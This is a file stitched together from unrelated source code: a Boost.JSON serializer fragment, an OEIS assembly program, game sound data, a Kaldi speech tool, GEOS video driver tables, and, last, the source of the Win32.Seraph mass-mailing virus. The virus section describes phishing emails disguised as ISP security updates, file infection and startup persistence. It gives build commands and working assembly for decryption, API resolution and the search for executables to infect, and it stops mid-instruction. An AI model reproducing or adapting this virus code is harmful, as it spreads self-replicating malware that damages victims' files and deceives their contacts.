state::obj5: case state::obj6: return write_object<StackEmpty>(ss); } } } std::size_t serializer:: write_some( char* dest, std::size_t size) { if(! jv_) BOOST_THROW_EXCEPTION( std::logic_error( "no value in serializer")); stream ss(dest, size); if(st_.empty()) write_value<true>(ss); else write_value<false>(ss); if(st_.empty()) { done_ = true; jv_ = nullptr; } return ss.used(dest); } //---------------------------------------------------------- serializer:: serializer() noexcept { // ensure room for \uXXXX escape plus one BOOST_STATIC_ASSERT( sizeof(serializer::buf_) >= 7); } void serializer:: reset(value const& jv) noexcept { jv_ = &jv; st_.clear(); done_ = false; } std::size_t serializer:: read(char* dest, std::size_t size) { return write_some(dest, size); } //---------------------------------------------------------- string to_string( json::value const& jv) { string s; serializer sr(jv); while(! sr.is_done()) { if(s.size() >= s.capacity()) s.reserve(s.capacity() + 1); s.grow(static_cast< string::size_type>( sr.read(s.data() + s.size(), s.capacity() - s.size()))); } return s; } //[example_operator_lt__lt_ // Serialize a value into an output stream std::ostream& operator<<( std::ostream& os, value const& jv ) { // Create a serializer that is set to output our value. serializer sr( jv ); // Loop until all output is produced. while( ! sr.is_done() ) { // Use a local 4KB buffer. char buf[4096]; // Try to fill up the local buffer. auto const n = sr.read(buf, sizeof(buf)); // Write the valid portion of the buffer to the output stream. os.write(buf, n); } return os; } //] } // json } // boost #ifdef _MSC_VER #pragma warning(pop) #endif #endif
; A076118: a(n) = sum_k {n/2<=k<=n} k * (-1)^(n-k) * C(k,n-k). ; 0,1,1,-1,-3,-2,2,5,3,-3,-7,-4,4,9,5,-5,-11,-6,6,13,7,-7,-15,-8,8,17,9,-9,-19,-10,10,21,11,-11,-23,-12,12,25,13,-13,-27,-14,14,29,15,-15,-31,-16,16,33,17,-17,-35,-18,18,37,19,-19,-39,-20,20,41,21,-21,-43,-22,22,45,23,-23,-47,-24,24,49,25,-25,-51,-26,26,53,27,-27,-55,-28,28,57,29,-29,-59,-30,30,61,31,-31,-63,-32,32,65,33,-33,-67,-34,34,69,35,-35,-71,-36,36,73,37,-37,-75,-38,38,77,39,-39,-79,-40,40,81,41,-41,-83,-42,42,85,43,-43,-87,-44,44,89,45,-45,-91,-46,46,93,47,-47,-95,-48,48,97,49,-49,-99,-50,50,101,51,-51,-103,-52,52,105,53,-53,-107,-54,54,109,55,-55,-111,-56,56,113,57,-57,-115,-58,58,117,59,-59,-119,-60,60,121,61,-61,-123,-62,62,125,63,-63,-127,-64,64,129,65,-65,-131,-66,66,133,67,-67,-135,-68,68,137,69,-69,-139,-70,70,141,71,-71,-143,-72,72,145,73,-73,-147,-74,74,149,75,-75,-151,-76,76,153,77,-77,-155,-78,78,157,79,-79,-159,-80,80,161,81,-81,-163,-82,82,165,83,-83 mov $1,$0 mov $2,$0 lpb $2 add $1,1 add $0,$1 sub $1,1 sub $1,$0 sub $2,1 lpe mov $1,$0 div $1,3
SFX_Cry21_3_Ch1: dutycycle 27 unknownsfx0x20 3, 243, 100, 5 unknownsfx0x20 2, 226, 68, 5 unknownsfx0x20 5, 209, 34, 5 unknownsfx0x20 2, 178, 132, 4 unknownsfx0x20 8, 209, 162, 4 unknownsfx0x20 3, 243, 36, 5 unknownsfx0x20 4, 228, 228, 4 unknownsfx0x20 8, 209, 2, 5 endchannel SFX_Cry21_3_Ch2: dutycycle 204 unknownsfx0x20 3, 211, 96, 5 unknownsfx0x20 2, 194, 64, 5 unknownsfx0x20 5, 193, 32, 5 unknownsfx0x20 2, 146, 128, 4 unknownsfx0x20 8, 193, 160, 4 unknownsfx0x20 3, 211, 32, 5 unknownsfx0x20 3, 196, 224, 4 unknownsfx0x20 8, 193, 0, 5 SFX_Cry21_3_Ch3: endchannel
// gmmbin/gmm-acc-mllt.cc // Copyright 2009-2011 Microsoft Corporation // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // THIS CODE IS PROVIDED *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED // WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, // MERCHANTABLITY OR NON-INFRINGEMENT. // See the Apache 2 License for the specific language governing permissions and // limitations under the License. #include "base/kaldi-common.h" #include "util/common-utils.h" #include "gmm/am-diag-gmm.h" #include "hmm/transition-model.h" #include "transform/mllt.h" int main(int argc, char *argv[]) { using namespace kaldi; try { const char *usage = "Accumulate MLLT (global STC) statistics\n" "Usage: gmm-acc-mllt [options] <model-in> <feature-rspecifier> <posteriors-rspecifier> <stats-out>\n" "e.g.: \n" " gmm-acc-mllt 1.mdl scp:train.scp ark:1.post 1.macc\n"; ParseOptions po(usage); bool binary = true; BaseFloat rand_prune = 0.25; po.Register("binary", &binary, "Write output in binary mode"); po.Register("rand-prune", &rand_prune, "Randomized pruning parameter to speed up accumulation"); po.Read(argc, argv); if (po.NumArgs() != 4) { po.PrintUsage(); exit(1); } std::string model_filename = po.GetArg(1), feature_rspecifier = po.GetArg(2), posteriors_rspecifier = po.GetArg(3), accs_wxfilename = po.GetArg(4); using namespace kaldi; typedef kaldi::int32 int32; AmDiagGmm am_gmm; TransitionModel trans_model; { bool binary; Input ki(model_filename, &binary); trans_model.Read(ki.Stream(), binary); am_gmm.Read(ki.Stream(), binary); } MlltAccs mllt_accs(am_gmm.Dim(), rand_prune); double tot_like = 0.0; double tot_t = 0.0; SequentialBaseFloatMatrixReader feature_reader(feature_rspecifier); RandomAccessPosteriorReader posteriors_reader(posteriors_rspecifier); int32 num_done = 0, num_no_posterior = 0, num_other_error = 0; for (; !feature_reader.Done(); feature_reader.Next()) { std::string key = feature_reader.Key(); if (!posteriors_reader.HasKey(key)) { num_no_posterior++; } else { const Matrix<BaseFloat> &mat = feature_reader.Value(); const Posterior &posterior = posteriors_reader.Value(key); if (static_cast<int32>(posterior.size()) != mat.NumRows()) { KALDI_WARN << "Posterior vector has wrong size "<< (posterior.size()) << " vs. "<< (mat.NumRows()); num_other_error++; continue; } num_done++; BaseFloat tot_like_this_file = 0.0, tot_weight = 0.0; for (size_t i = 0; i < posterior.size(); i++) { for (size_t j = 0; j < posterior[i].size(); j++) { int32 tid = posterior[i][j].first, // transition identifier. pdf_id = trans_model.TransitionIdToPdf(tid); BaseFloat weight = posterior[i][j].second; tot_like_this_file += mllt_accs.AccumulateFromGmm(am_gmm.GetPdf(pdf_id), mat.Row(i), weight) * weight; tot_weight += weight; } } KALDI_LOG << "Average like for this file is " << (tot_like_this_file/tot_weight) << " over " << tot_weight <<" frames."; tot_like += tot_like_this_file; tot_t += tot_weight; if (num_done % 10 == 0) KALDI_LOG << "Avg like per frame so far is " << (tot_like/tot_t); } } KALDI_LOG << "Done " << num_done << " files, " << num_no_posterior << " with no posteriors, " << num_other_error << " with other errors."; KALDI_LOG << "Overall avg like per frame (Gaussian only) = " << (tot_like/tot_t) << " over " << tot_t << " frames."; WriteKaldiObject(mllt_accs, accs_wxfilename, binary); KALDI_LOG << "Written accs."; if (num_done != 0) return 0; else return 1; } catch(const std::exception &e) { std::cerr << e.what(); return -1; } }
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GlobalPC 1998 -- All Rights Reserved PROJECT: GEOS MODULE: Cyber16 Video Driver FILE: cyber16Tables.asm AUTHOR: Jim DeFrisco REVISION HISTORY: Name Date Description ---- ---- ----------- jad 10/92 initial version DESCRIPTION: Tables particular to 16 bit drivers $Id: cyber16Tables.asm,v 1.2$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; jump table for different (small) char drawing FCC_table label word dw offset dgroup:Char1In1Out ;load 1 byte dw offset dgroup:Char2In2Out ;load 2 bytes dw offset dgroup:Char3In3Out ;load 3 bytes dw offset dgroup:Char4In4Out ;load 4 bytes drawModeTable label word nptr ModeCLEAR nptr ModeCOPY nptr ModeNOP nptr ModeAND nptr ModeINVERT nptr ModeXOR nptr ModeSET nptr ModeOR VidSegment Bitmap ; this is a table of routines to put a single bitmap scan ; line. The B_type field passed in PutBitsArgs is used to ; index into the table (the lower 5 bits). The low three ; bits are the bitmap format, the next bit (BMT_COMPLEX) is ; used by the kernel bitmap code to signal that it is a ; monochrome bitmap that should be filled with the current ; area color. The fifth bit is set if there is a mask storeed ; with the bitmap. putbitsTable label nptr ; FORMAT mask? fill? nptr offset PutBWScan ; BMF_MONO no no nptr offset PutColorScan ; BMF_CLR4 no no nptr offset PutColor8Scan ; BMF_CLR8 no no nptr offset PutColor24Scan ; BMF_CLR24 no no nptr offset NullBMScan ; BMF_CMYK no no nptr offset NullBMScan ; UNUSED no no nptr offset NullBMScan ; UNUSED no no nptr offset NullBMScan ; UNUSED no no nptr offset FillBWScan ; BMF_MONO no yes nptr offset PutColorScan ; BMF_CLR4 no yes nptr offset PutColor8Scan ; BMF_CLR8 no yes nptr offset PutColor24Scan ; BMF_CLR24 no yes nptr offset NullBMScan ; BMF_CMYK no yes nptr offset NullBMScan ; UNUSED no yes nptr offset NullBMScan ; UNUSED no yes nptr offset NullBMScan ; UNUSED no yes nptr offset PutBWScanMask ; BMF_MONO yes no nptr offset PutColorScanMask ; BMF_CLR4 yes no nptr offset PutColor8ScanMask ; BMF_CLR8 yes no nptr offset PutColor24ScanMask ; BMF_CLR24 yes no nptr offset NullBMScan ; BMF_CMYK yes no nptr offset NullBMScan ; UNUSED yes no nptr offset NullBMScan ; UNUSED yes no nptr offset NullBMScan ; UNUSED yes no nptr offset FillBWScan ; BMF_MONO yes yes nptr offset FillBWScan ; BMF_CLR4 yes yes nptr offset FillBWScan ; BMF_CLR8 yes yes nptr offset FillBWScan ; BMF_CLR24 yes yes nptr offset FillBWScan ; BMF_CMYK yes yes VidEnds Bitmap VidSegment PutLine ; this is a table of routines to put a single bitmap scan ; line. The B_type field passed in PutBitsArgs is used to ; index into the table (the lower 5 bits). The low three ; bits are the bitmap format, the next bit (BMT_COMPLEX) is ; used by the kernel bitmap code to signal that it is a ; monochrome bitmap that should be filled with the current ; area color. The fifth bit is set if there is a mask storeed ; with the bitmap. putlineTable label nptr ; FORMAT mask? fill? nptr offset PutBWScan ; BMF_MONO no no nptr offset PutColorScan ; BMF_CLR4 no no nptr offset PutColor8Scan ; BMF_CLR8 no no nptr offset PutColor24Scan ; BMF_CLR24 no no nptr offset NullBMScan ; BMF_CMYK no no nptr offset NullBMScan ; UNUSED no no nptr offset NullBMScan ; UNUSED no no nptr offset NullBMScan ; UNUSED no no nptr offset FillBWScan ; BMF_MONO no yes nptr offset PutColorScan ; BMF_CLR4 no yes nptr offset PutColor8Scan ; BMF_CLR8 no yes nptr offset PutColor24Scan ; BMF_CLR24 no yes nptr offset NullBMScan ; BMF_CMYK no yes nptr offset NullBMScan ; UNUSED no yes nptr offset NullBMScan ; UNUSED no yes nptr offset NullBMScan ; UNUSED no yes nptr offset PutBWScanMask ; BMF_MONO yes no nptr offset PutColorScanMask ; BMF_CLR4 yes no nptr offset PutColor8ScanMask ; BMF_CLR8 yes no nptr offset PutColor24ScanMask ; BMF_CLR24 yes no nptr offset NullBMScan ; BMF_CMYK yes no nptr offset NullBMScan ; UNUSED yes no nptr offset NullBMScan ; UNUSED yes no nptr offset NullBMScan ; UNUSED yes no nptr offset FillBWScan ; BMF_MONO yes yes nptr offset FillBWScan ; BMF_CLR4 yes yes nptr offset FillBWScan ; BMF_CLR8 yes yes nptr offset FillBWScan ; BMF_CLR24 yes yes nptr offset FillBWScan ; BMF_CMYK yes yes ; these are offsets to the byte mode routines in the ; bitmap module PLByteModeRout label nptr nptr ByteCLEAR nptr ByteCOPY nptr ByteNOP nptr ByteAND nptr ByteINV nptr ByteINV ; map XOR to INV for bitmaps nptr ByteSET nptr ByteOR VidEnds PutLine VidSegment Misc ; this table holds the offsets to the test routines for the devices vidTestRoutines label nptr if ALLOW_BIG_MOUSE_POINTER nptr offset VidTestIGSCyberPro ; VD_IGS_CYBER_PRO_640x480_16_SP nptr offset VidTestIGSCyberPro ; VD_IGS_CYBER_PRO_640x480_16_BP nptr offset VidTestIGSCyberPro ; VD_IGS_CYBER_PRO_800x600_16_SP nptr offset VidTestIGSCyberPro ; VD_IGS_CYBER_PRO_800x600_16_BP if ALLOW_1Kx768_16 nptr offset VidTestIGSCyberPro ; VD_IGS_CYBER_PRO_1Kx768_16_SP nptr offset VidTestIGSCyberPro ; VD_IGS_CYBER_PRO_1Kx768_16_BP endif ; ALLOW_1Kx768_16 else nptr offset VidTestIGSCyberPro ; VD_IGS_CYBER_PRO_640x480_16 nptr offset VidTestIGSCyberPro ; VD_IGS_CYBER_PRO_800x600_16 if ALLOW_1Kx768_16 nptr offset VidTestIGSCyberPro ; VD_IGS_CYBER_PRO_1Kx768_16 endif ; ALLOW_1Kx768_16 endif ; ALLOW_BIG_MOUSE_POINTER ; this table holds the offsets to the test routines for the devices vidSetRoutines label nptr if ALLOW_BIG_MOUSE_POINTER nptr offset VidSetIGSCyberPro ; VD_IGS_CYBER_PRO_640x480_16_SP nptr offset VidSetIGSCyberPro ; VD_IGS_CYBER_PRO_640x480_16_BP nptr offset VidSetIGSCyberPro ; VD_IGS_CYBER_PRO_800x600_16_SP nptr offset VidSetIGSCyberPro ; VD_IGS_CYBER_PRO_800x600_16_BP if ALLOW_1Kx768_16 nptr offset VidSetIGSCyberPro ; VD_IGS_CYBER_PRO_1Kx768_16_SP nptr offset VidSetIGSCyberPro ; VD_IGS_CYBER_PRO_1Kx768_16_BP endif ; ALLOW_1Kx768_16 else nptr offset VidSetIGSCyberPro ; VD_IGS_CYBER_PRO_640x480_16 nptr offset VidSetIGSCyberPro ; VD_IGS_CYBER_PRO_800x600_16 if ALLOW_1Kx768_16 nptr offset VidSetIGSCyberPro ; VD_IGS_CYBER_PRO_1Kx768_16 endif ; ALLOW_1Kx768_16 endif ; ALLOW_BIG_MOUSE_POINTER VidEnds Misc VidSegment Blt BltRouts label nptr nptr offset Blt1Fast, offset Blt1OverSrc, offset Blt1OverDest, offset Blt1OverBoth, offset Blt1FastLeftSt, ; same page offset Blt1OverSrc, offset Blt1OverDest, offset Blt1OverBoth, offset Blt1Fast, ; from right to left offset Blt1OverSrc, ; different pages offset Blt1OverDest, offset Blt1OverBoth, offset Blt1FastRightSt, ; same page offset Blt1OverSrc, offset Blt1OverDest, offset Blt1OverBoth, offset Blt1FastLeftSt, ; 2 windows for r/w offset Blt2OverSrc, ; from left to right offset Blt2OverDest, ; different pages offset Blt2OverBoth, offset Blt1FastLeftSt, ; same page offset Blt2OverSrc, offset Blt2OverDest, offset Blt2OverBoth, offset Blt1FastRightSt, ; from right to left offset Blt2OverSrcRS, ; different pages offset Blt2OverDestRS, offset Blt2OverBothRS, offset Blt1FastRightSt, ; same page offset Blt2OverSrcRS, offset Blt2OverDestRS, offset Blt2OverBothRS VidEnds Blt
; ; [ Win32.Seraph@mm Vorgon/iKX ] ; [ 28672 bytes Target - PE ] ; [ 09/28/03 Made in Canada ] ; ; ; ; ; [ Introduction ] ; ; Seraph is a mass-mailing virus that takes advantage of social engineering. This may sound ; boring to you, but it takes social engineering to the next level. Seraph is an information ; gatherer. It takes data from websites, computers, URL's and uses what it finds to generate ; a convincing and personal email message. ; ; So what information does Seraph gather? Seraph gathers information about the Internet service ; provider of the computers it infects. Information such as: ; ; ISP Name example: AOL ; Domain example: AOL.COM ; Website example: WWW.AOL.COM ; Logo example: HTTP://www.aol.com/logo.gif ; Deadline example: SEPTEMBER 21, 2003 ; Copyright String example: (C) 2003 AOL INC. ; ; What does Seraph do with this information? Seraph takes everything you see above and generates ; an email message in HTML format. The message containing a logo image, names, valid email ; addresses, etc, appears to be a security update from your ISP. Unsuspecting victims reading this ; email message see that they must install the attached update by the deadline date, or face ; disconnection of there Internet service. ; ; How does Seraph know the email addresses of other people on the same ISP? Seraph takes a list ; of the 1024 most popular surnames in the USA and randomly selects one. It then a appends a first ; initial either the start or the end of the surname. This gives a possible 53238 email addresses ; per ISP. ; ; Sure this will spread to users on the same ISP, but how does it spread to other ISP's? Seraph ; is highly infectious. Every time it runs it infects 50 files on all drives it can find on a ; computer, except CD-ROM and drive A. It will naturally find executables in file sharing ; directories, shared folders, and anything else you can imagine. ; ; ; [ Other ] ; ; I named this virus after Seraph from the Matrix Reloaded. Seraph (the Chinese guy Neo meets ; before meeting the Oracle) had golden code and was so spectacular because he came from the first ; incarnation of the matrix, which was heaven. "Seraph" is singular for the plural "seraphim". The ; seraphim are the highest choir of angels and included amongst others: Lucifer, Gabriele, Raziel ; and Malaciah, and they sit on the 8th level of Heaven just one below God. ; ; ; [ Bug Fixes ] ; ; Below are a list of bugs i have fixed in this version. ; ; -The find file code begins searching at the start of the first drive instead of the current ; Directory. This bug was causing the entire contents of the most important drive to be excluded ; from the search. ; ; -Files in the system directory are no longer infected. Infecting files in this directory was ; causing Windows to not boot at all. ; ; -The program to be run on start-up is no longer whatever infected program is executed. It has ; been changed to the program that was last infected. Before if the user deleted the infected ; email attachment after executing the virus it would not be able to run on start-up. ; ; ; [ The Infection ] ; ; Below is a break down of what the virus does in order: ; ; - Decrypt the virus ; - Get the address of GetModuleHandleA ; - Get the kernel32.dll address ; - Get the address of GetProcAddress ; - Load the win9x API functions ; - Create a thread to execute the rest of the virus code ; - Infect 50 files on drives B-Z, excluding CD-ROM ; - Make the last file infected run on start-up ; - Display an install message if the filename is patch110.exe ; - On February 23 display the pay load ; - Load the win2k API functions if the OS version permits ; - Get the IP address of the computer ; - Get the hostname of the computer ; - Extract the ISP domain from the host name of the computer ; - Download the main page of the internet service provider and handle redirections ; - Search the webpage for a logo image URL ; - Get the company name of the ISP ; - Create a dead line date for the email message ; - Generate an email address ; - Create the email message using all the data collected ; - Send the email message ; - Send the current host EXE as the update attachment. ; - Exit the thread ; ; ; [ Assembling ] ; ; tasm32 /ml /jLOCALS seraph ; tlink32 -aa -x /Tpe /c seraph,seraph,,import32.lib,, ; editbin /SECTION:CODE,rwe seraph.exe ; ; ; [ Greetz ] ; ; T00fic, Morphine, Eddow, Raid, Gigabyte, Kefi, SPTH, Kernel32 ; ; .486p .MODEL flat, stdcall EXTRN GetModuleHandleA : PROC ;-------------------------------------------------------------------------------------------------; ; Constants ; ;-------------------------------------------------------------------------------------------------; ; file I/O constants OPEN_EXISTING EQU 3 GENERIC_READ EQU 80000000h GENERIC_WRITE EQU 40000000h FILE_SHARE_READ EQU 1 FILE_SHARE_WRITE EQU 2 FILE_BEGIN EQU 0 FILE_END EQU 2 ; DNS constants DNS_QUERY_STANDARD EQU 0 DNS_TYPE_PTR EQU 12 DNS_TYPE_MX EQU 15 DNSREC_ANSWER EQU 1 DNS_FREE_RECORD_LIST_DEEP EQU 1 ; winsock constants AF_INET EQU 2 SOCK_STREAM EQU 1 PCL_NONE EQU 0 SO_RCVTIMEO EQU 1006h SO_SNDTIMEO EQU 1005h SOL_SOCKET EQU 0FFFFh ; registry constants HKEY_LOCAL_MACHINE EQU 80000002h REG_SZ EQU 1 ; MISC constants GMEM_FIXED EQU 0 SECTION_RWE EQU 0E0000020h TRUE EQU 1 FALSE EQU 0 EXIT_THREAD EQU 1 CRLF EQU 13, 10 DRIVE_CDROM EQU 5 ;-------------------------------------------------------------------------------------------------; ; Structures ; ;-------------------------------------------------------------------------------------------------; PE_HEADER STRUC dwSignature DD 0 wMachine DW 0 wNumberOfSections DW 0 dwTimeDateStamp DD 0 dwPointerToSymbolTable DD 0 dwNumberOfSymbols DD 0 wSizeOfOptionalHeader DW 0 wCharacteristics DW 0 wMagic DW 0 cMajorLinkerVersion DB 0 cMinorLinkerVersion DB 0 dwSizeOfCode DD 0 dwSizeOfInitializedData DD 0 dwSizeOfUninitializedData DD 0 dwAddressOfEntryPoint DD 0 dwBaseOfCode DD 0 dwBaseOfData DD 0 dwImageBase DD 0 dwSectionAlignment DD 0 dwFileAlignment DD 0 wMajorOperatingSystemVersion DW 0 wMinorOperatingSystemVersion DW 0 wMajorImageVersion DW 0 wMinorImageVersion DW 0 wMajorSubsystemVersion DW 0 wMinorSubsystemVersion DW 0 dwReserved1 DD 0 dwSizeOfImage DD 0 dwSizeOfHeaders DD 0 dwCheckSum DD 0 wSubsystem DW 0 wDllCharacteristics DW 0 dwSizeOfStackReserve DD 0 dwSizeOfStackCommit DD 0 dwSizeOfHeapReserve DD 0 dwSizeOfHeapCommit DD 0 dwLoaderFlags DD 0 dwNumberOfRvaAndSizes DD 0 dwExportDirectoryVA DD 0 dwExportDirectorySize DD 0 dwImportDirectoryVA DD 0 dwImportDirectorySize DD 0 dwResourceDirectoryVA DD 0 dwResourceDirectorySize DD 0 dwExceptionDirectoryVA DD 0 dwExceptionDirectorySize DD 0 dwSecurityDirectoryVA DD 0 dwSecurityDirectorySize DD 0 dwBaseRelocationTableVA DD 0 dwBaseRelocationTableSize DD 0 dwDebugDirectoryVA DD 0 dwDebugDirectorySize DD 0 dwArchitectureSpecificDataVA DD 0 dwArchitectureSpecificDataSize DD 0 dwRVAofGPVA DD 0 dwRVAofGPSize DD 0 dwTLSDirectoryVA DD 0 dwTLSDirectorySize DD 0 dwLoadConfigurationDirectoryVA DD 0 dwLoadConfigurationDirectorySize DD 0 dwBoundImportDirectoryinheadersVA DD 0 dwBoundImportDirectoryinheadersSize DD 0 dwImportAddressTableVA DD 0 dwImportAddressTableSize DD 0 dwDelayLoadImportDescriptorsVA DD 0 dwDelayLoadImportDescriptorsSize DD 0 dwCOMRuntimedescriptorVA DD 0 dwCOMRuntimedescriptorSize DD 0 dwNULL1 DD 0 dwNULL2 DD 0 PE_HEADER ENDS SECTION_HEADER STRUC sAnsiName DB 8 DUP(0) dwVirtualSize DD 0 dwVirtualAddress DD 0 dwSizeOfRawData DD 0 dwPointerToRawData DD 0 dwPointerToRelocations DD 0 dwPointerToLinenumbers DD 0 wNumberOfRelocations DW 0 wNumberOfLinenumbers DW 0 dwCharacteristics DD 0 SECTION_HEADER ENDS DOS_HEADER STRUC wSignature DW 0 wBytesInLastBlock DW 0 wBlocksInFile DW 0 wNumberOfRelocs DW 0 wHeaderParagraphs DW 0 wMinExtraParagraphs DW 0 wMaxExtraParagraphs DW 0 wSS DW 0 wSP DW 0 wChecksum DW 0 wIP DW 0 wCS DW 0 wRelocTableOffset DW 0 wOverlayNumber DW 0 sUnused DB 32 DUP(0) lpPEHeader DD 0 DOS_HEADER ENDS WSA_DATA STRUC wVersion DW 0 wHighVersion DW 0 szDescription DB 257 dup(0) szSystemStatus DB 129 dup(0) iMaxSockets DW 0 iMaxUdpDg DW 0 lpVendorInfo DD 0 WSA_DATA ENDS SOCK_ADDRESS STRUC sin_family DW 0 sin_port DW 0 sin_addr DD 0 sin_zero DB 8 dup(0) SOCK_ADDRESS ENDS DNS_RECORD STRUC pNext DD 0 pName DD 0 wType DW 0 wDataLength DW 0 flags DD 0 dwTtl DD 0 dwReserved DD 0 DNS_RECORD ENDS SYSTEM_TIME STRUC wYear DW 0 wMonth DW 0 wDayOfWeek DW 0 wDay DW 0 wHour DW 0 wMinute DW 0 wSecond DW 0 wMiliseconds DW 0 SYSTEM_TIME ENDS WIN32_FIND_DATA STRUC FileAttributes DD 0 CreateTime DQ 0 LastAccessTime DQ 0 LastWriteTime DQ 0 FileSizeHigh DD 0 FileSizeLow DD 0 Reserved0 DD 0 Reserved1 DD 0 FullFileName DB 260 dup(0) AlternateFileName DB 14 dup(0) WIN32_FIND_DATA ENDS ;-------------------------------------------------------------------------------------------------; ; Macros ; ;-------------------------------------------------------------------------------------------------; ImportTable MACRO tableName &tableName: ENDM EndImport MACRO DB 0 ENDM EndImportTable MACRO DB '$' ENDM ImportDll MACRO dllName sz&dllName DB '&dllName', '.dll', 0 ENDM ImportFunction MACRO functionName sz&functionName DB '&functionName', 0 &functionName DD 0 ENDM ApiCall MACRO functionName call [ebp+&functionName] ENDM pushptr MACRO variable lea eax, [ebp+&variable] push eax ENDM pushval MACRO variable push [ebp+&variable] ENDM .DATA DD 0 ; TASM gayness ;-------------------------------------------------------------------------------------------------; ; Code Section ; ;-------------------------------------------------------------------------------------------------; .CODE main: ;-------------------------------------------------------------------------------------------------; ; Load the virus and its resources. ; ;-------------------------------------------------------------------------------------------------; ; get the delta pointer call getDeltaPointer ; where am i?!?! getDeltaPointer: pop edi mov ebp, edi sub ebp, offset getDeltaPointer ; very basic XOR decryption to hide strings cmp ebp, 0 je encrypted lea esi, [ebp+encrypted] mov ecx, CODE_SIZE - (offset encrypted - offset main) decrypt: xor byte ptr [esi], 123 inc esi loop decrypt ; all code from this point on will be encrypted encrypted: ; get the image base sub edi, 5 mov [ebp+lpStartOfCode], edi ; save the start of code and edi, 0FFFFF000h ; round off the VA to the nearest page findImageBase: cmp word ptr [edi], 'ZM' ; start of image? je findKernel sub edi, 1000h jmp findImageBase ; find the address of the kernel32 findKernel: mov [ebp+lpImageBase], edi mov eax, edi mov ebx, [eax+3ch] ; ebx = pointer to the PE header mov esi, [ebx+eax+128] add esi, eax ; esi = pointer to the import section xor ecx, ecx findKernel32: mov ebx, [esi+ecx+12] ; get an RVA to the dll name cmp ebx, 0 ; no more dll's left? je returnHostControl add ebx, eax cmp dword ptr [ebx], 'NREK' ; Kernel32.dll found? je findGetModuleHandleA add ecx, 20 ; next import jmp findKernel32 findGetModuleHandleA: mov edx, [esi+ecx] sub edx, 4 lea esi, [esi+ecx] xor ecx, ecx findName: inc ecx add edx, 4 mov ebx, [edx+eax] ; next name cmp ebx, 0 ; no more function names left? je returnHostControl lea ebx, [ebx+eax+2] cmp dword ptr [ebx], 'MteG' jne findName cmp dword ptr [ebx+4], 'ludo' jne findName cmp dword ptr [ebx+8], 'naHe' jne findName cmp dword ptr [ebx+12], 'Aeld' ; GetModuleHandleA? jne findName ; get the address of the GetModuleHandleA function mov esi, [esi+16] add esi, eax rep lodsd ; create the string "kernel32.dll" on the stack push 0 push dword ptr 'lld.' push dword ptr '23le' push dword ptr 'nrek' ; call GetModuleHandleA to retrieve the address of the kernel32.dll push esp call eax mov [ebp+lpKernel32], eax ; save the kernel32 address ; get the address of the GetProcAddress API function mov ebx, [eax+3ch] add ebx, eax mov ebx, [ebx+120] ; get the export table VA add ebx, eax mov esi, [ebx+28] ; get the VA of the address table add esi, eax mov edi, [ebx+32] ; get the VA of the name table add edi, eax mov ecx, [ebx+36] ; get the VA of the ordinal table add ecx, eax findGetProcAddress: add ecx, 2 ; next ordinal add edi, 4 ; next name mov edx, [edi] add edx, eax cmp dword ptr [edx], 'PteG' jne findGetProcAddress cmp dword ptr [edx+4], 'Acor' ; GetProcAddress? jne findGetProcAddress mov cx, [ecx] and ecx, 0FFFFh add ecx, [ebx+16] ; add ordinal base rep lodsd ; get the VA address corrasponding to the ordinal add eax, [ebp+lpKernel32] mov [ebp+GetProcAddress], eax ; get the address of the LoadLibraryA API function pushptr szLoadLibraryA pushval lpKernel32 ApiCall GetProcAddress mov [ebp+LoadLibraryA], eax ; load the Windows 9x API functions lea eax, [ebp+API_Imports_9x] call LoadImports cmp eax, -1 je apiLoadError ; create a thread to execute the rest of the code pushptr hThread push 0 push ebp ; pass the delta pointer to the thread pushptr background push 0 push 0 ApiCall CreateThread ; if /iKX is present in the command line then loop until the thread closes ApiCall GetCommandLineA mov ecx, 256 parseCommandLine: cmp dword ptr [eax], 'XKi/' je wait inc eax loop parseCommandLine ; if this is not the first generation then return control to the host cmp ebp, 0 jne returnHostControl ; if this is the first generation then loop until the thread closes wait: cmp [ebp+dwThreadStatus], EXIT_THREAD jne wait push 0 ApiCall ExitProcess ; return control to the host returnHostControl: mov eax, [ebp+lpReturnAddress] add eax, [ebp+lpImageBase] push eax ret ; if an api function cannot be loaded then either return control to the host or exit program apiLoadError: cmp ebp, 0 jne returnHostControl push 0 ApiCall ExitProcess ;-------------------------------------------------------------------------------------------------; ; Background Thread. ; ;-------------------------------------------------------------------------------------------------; background: mov ebp, [esp+4] ; restore the delta offset ;-------------------------------------------------------------------------------------------------; ; Infect 50 files in drives B-Z, except the CD-ROM drive. ; ;-------------------------------------------------------------------------------------------------; xor esi, esi ; files infected counter mov byte ptr [ebp+szDrive], 'A' ; set the drive to start searching at nextDrive: inc byte ptr [ebp+szDrive] ; next drive cmp byte ptr [ebp+szDrive], 'Z'+1 ; all drives searched? je payload pushptr szDrive ApiCall GetDriveTypeA cmp eax, DRIVE_CDROM ; CD-ROM drive? je nextDrive pushptr szDrive ApiCall SetCurrentDirectoryA ; set the current directory to the root of that drive cmp eax, 0 je nextDrive findFiles: mov edi, esp ; save the stack pointer push 0BAADF00Dh ; end of files marker findFirstFile: pushptr win32FindData pushptr szSearchString ApiCall FindFirstFileA ; find the first file mov [ebp+hFind], eax checkType: cmp eax, 0 je downDirectory cmp byte ptr [ebp+win32FindData.FullFileName], '.' je findNextFile cmp [ebp+win32FindData.FileAttributes], 10h je upDirectory cmp [ebp+win32FindData.FileAttributes], 30h je upDirectory ; check the file extension for .exe or .scr push edi mov al, '.' mov ecx, 260 lea edi, [ebp+win32FindData.FullFileName] repne scasb ; seek to the file extension mov eax, [edi-1] pop edi and eax, 0DFDFDFFFh ; make upper case cmp eax, 'EXE.' ; executable file? je infectFile cmp eax, 'RCS.' ; screen saver? je infectFile jmp findNextFile infectFile: ; check to see if the file is a valid PE executable and is not already infected push esi push edi lea esi, [ebp+win32FindData.FullFileName] call IsValid pop edi pop esi cmp eax, -1 je findNextFile ; if the executable file is in the system directory then dont infect it push 256 pushptr szSystemDirectory ApiCall 